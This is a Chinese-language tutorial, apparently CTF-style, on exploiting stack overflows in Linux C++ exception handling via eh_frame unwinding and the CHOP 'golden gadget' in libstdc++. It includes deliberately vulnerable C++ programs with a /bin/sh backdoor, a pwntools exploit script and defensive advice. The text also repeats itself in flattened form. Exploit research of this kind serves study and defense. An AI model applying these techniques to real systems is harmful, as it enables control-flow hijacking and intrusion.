溢出漏洞在异常处理中的攻击利用手法-上
字数 1229 2025-08-20 18:17:48

Linux下C++异常处理溢出漏洞攻击手法研究

1. 异常处理基础与漏洞背景

本文研究Linux环境下C++基于eh_frame进行unwind的异常处理流程中的攻击手法。异常处理在不同操作系统和语言实现差异较大,本文专注于通过异常处理利用溢出漏洞的技术。

关键特性:

  • 异常抛出后不会执行发生异常所在函数的剩余部分(包括ret指令)
  • 传统基于ret指令的ROP攻击在异常处理场景下失效
  • 异常处理流程绕过了canary等栈保护机制

2. 简单控制流劫持技术

2.1 示例代码分析

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

class x {
public:
    char buf[0x10];
    x(void) { printf("x:x() called\n"); }
    ~x(void) { printf("x:~x() called\n"); }
};

void test() {
    x a;
    int cnt = 0x100;
    size_t len = read(0, a.buf, cnt);
    if(len > 0x10) {
        throw "Buffer overflow";
    }
}

int main() {
    try {
        test();
        throw 1;
    } catch(int x) {
        printf("Int: %d\n", x);
    } catch(const char* s) {
        printf("String: %s\n", s);
    }
    return 0;
}

2.2 两种基本攻击手法

手法1:覆盖rbp控制程序流

  • 原理:异常处理结束后使用leave; ret指令,ret地址为[rbp+8]
  • 利用条件:程序使用rbp存储栈帧(非rsp直接增减方式)
  • 利用步骤
    1. 覆盖rbp为可控地址(如GOT表地址)
    2. [rbp+8]处放置目标地址
    3. 异常处理结束后跳转到目标地址

手法2:覆盖ret地址改变异常处理流程

  • 原理:修改返回地址使异常被另一个函数的catch块处理
  • 利用条件:目标函数有合适的catch块
  • 利用步骤
    1. 识别目标catch块地址范围
    2. 覆盖返回地址为目标try块范围内的地址
    3. 确保异常类型与catch块匹配

3. CHOP (Catch Handler Oriented Programming)

3.1 Golden Gadget原理

在libstdc++中存在关键代码片段:

void __cxa_call_unexpected(void* exc_obj_in) {
    xh_terminate_handler = xh->terminateHandler;
    try {
        /* ... */
    } catch(...) {
        __terminate(xh_terminate_handler);
    }
}

void __terminate(void (*handler)()) throw() {
    handler();
    std::abort();
}

通过控制xh_terminate_handler可实现任意函数调用。

3.2 现代libstdc++实现变化

在较新版本(如Ubuntu 22.04)中,调用链变为:

__cxa_call_unexpected() 
→ __cxa_call_unexpected.cold() 
→ __terminate()

关键变化:

  • handler从寄存器r12获取而非局部变量
  • 需要控制执行流进入正确分支避免crash

3.3 利用.eh_frame控制寄存器

通过分析.eh_frame段信息(使用readelf -wF),可以找到寄存器与栈的关联关系:

LOC           CFA      rbx rbp r12 r13 r14 r15 ra
00000000004027e0 rsp+8 u    u   u   u   u   u  c-8
00000000004027e6 rsp+16 u   u   u   u   u  c-16 c-8
...

选择rsp+8且能设置r12寄存器的条目,通过栈溢出控制寄存器值。

4. 完整利用示例

4.1 测试代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

class x {
public:
    char buf[0x10];
    x(void) { printf("x:x() called\n"); }
    ~x(void) { printf("x:~x() called\n"); }
};

void backdoor() {
    system("/bin/sh");
}

void test() {
    x a;
    int cnt = 0x100;
    size_t len = read(0, a.buf, cnt);
    if(len > 0x10) {
        throw "Buffer overflow";
    }
}

int main() {
    try {
        test();
        throw 1;
    } catch(int x) {
        printf("Int: %d\n", x);
    } catch(const char* s) {
        printf("String: %s\n", s);
    }
    return 0;
}

4.2 利用步骤

  1. 定位关键地址:

    • __cxa_call_unexpected()的try块起始地址
    • 后门函数地址
    • 合适的.eh_frame条目地址
  2. 构造payload:

    • 填充缓冲区
    • 设置防止crash的局部变量
    • 放置.eh_frame条目地址+1(对齐)
    • 放置Golden Gadget的try块地址+1
  3. 触发异常处理流程

4.3 利用代码(Python)

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'

io = process('./pwn')

backdoor = 0x401a7d
io.recvuntil("called")

payload = b'a'*8
payload += b'b'*8
payload += b'c'*8
payload += p64(0xff)       # 防crash
payload += p64(backdoor)   # 目标地址
payload += p64(0x4a6001)   # 防crash
payload += b'g'*8
payload += p64(0x004032a4 + 1)  # .eh_frame条目
payload += p64(0x402df0 + 1)    # Golden Gadget地址

io.send(payload)
io.interactive()

5. 防御建议

  1. 加强栈溢出防护(如加强canary保护)
  2. 限制异常处理中的敏感操作
  3. 及时更新libstdc++等关键库
  4. 使用现代编译防护技术(如CFI)
  5. 对异常处理流程进行安全审计

6. 扩展研究方向

  1. 与传统ROP技术的结合利用
  2. 与Sigreturn的配合攻击
  3. 其他语言运行时异常处理机制的漏洞研究
  4. 不同libstdc++版本间的差异分析
Linux下C++异常处理溢出漏洞攻击手法研究 1. 异常处理基础与漏洞背景 本文研究Linux环境下C++基于eh_ frame进行unwind的异常处理流程中的攻击手法。异常处理在不同操作系统和语言实现差异较大,本文专注于通过异常处理利用溢出漏洞的技术。 关键特性: 异常抛出后不会执行发生异常所在函数的剩余部分(包括ret指令) 传统基于ret指令的ROP攻击在异常处理场景下失效 异常处理流程绕过了canary等栈保护机制 2. 简单控制流劫持技术 2.1 示例代码分析 2.2 两种基本攻击手法 手法1:覆盖rbp控制程序流 原理 :异常处理结束后使用 leave; ret 指令,ret地址为 [rbp+8] 利用条件 :程序使用rbp存储栈帧(非rsp直接增减方式) 利用步骤 : 覆盖rbp为可控地址(如GOT表地址) 在 [rbp+8] 处放置目标地址 异常处理结束后跳转到目标地址 手法2:覆盖ret地址改变异常处理流程 原理 :修改返回地址使异常被另一个函数的catch块处理 利用条件 :目标函数有合适的catch块 利用步骤 : 识别目标catch块地址范围 覆盖返回地址为目标try块范围内的地址 确保异常类型与catch块匹配 3. CHOP (Catch Handler Oriented Programming) 3.1 Golden Gadget原理 在libstdc++中存在关键代码片段: 通过控制 xh_terminate_handler 可实现任意函数调用。 3.2 现代libstdc++实现变化 在较新版本(如Ubuntu 22.04)中,调用链变为: 关键变化: handler从寄存器r12获取而非局部变量 需要控制执行流进入正确分支避免crash 3.3 利用.eh_ frame控制寄存器 通过分析.eh_ frame段信息(使用 readelf -wF ),可以找到寄存器与栈的关联关系: 选择rsp+8且能设置r12寄存器的条目,通过栈溢出控制寄存器值。 4. 完整利用示例 4.1 测试代码 4.2 利用步骤 定位关键地址: __cxa_call_unexpected() 的try块起始地址 后门函数地址 合适的.eh_ frame条目地址 构造payload: 填充缓冲区 设置防止crash的局部变量 放置.eh_ frame条目地址+1(对齐) 放置Golden Gadget的try块地址+1 触发异常处理流程 4.3 利用代码(Python) 5. 防御建议 加强栈溢出防护(如加强canary保护) 限制异常处理中的敏感操作 及时更新libstdc++等关键库 使用现代编译防护技术(如CFI) 对异常处理流程进行安全审计 6. 扩展研究方向 与传统ROP技术的结合利用 与Sigreturn的配合攻击 其他语言运行时异常处理机制的漏洞研究 不同libstdc++版本间的差异分析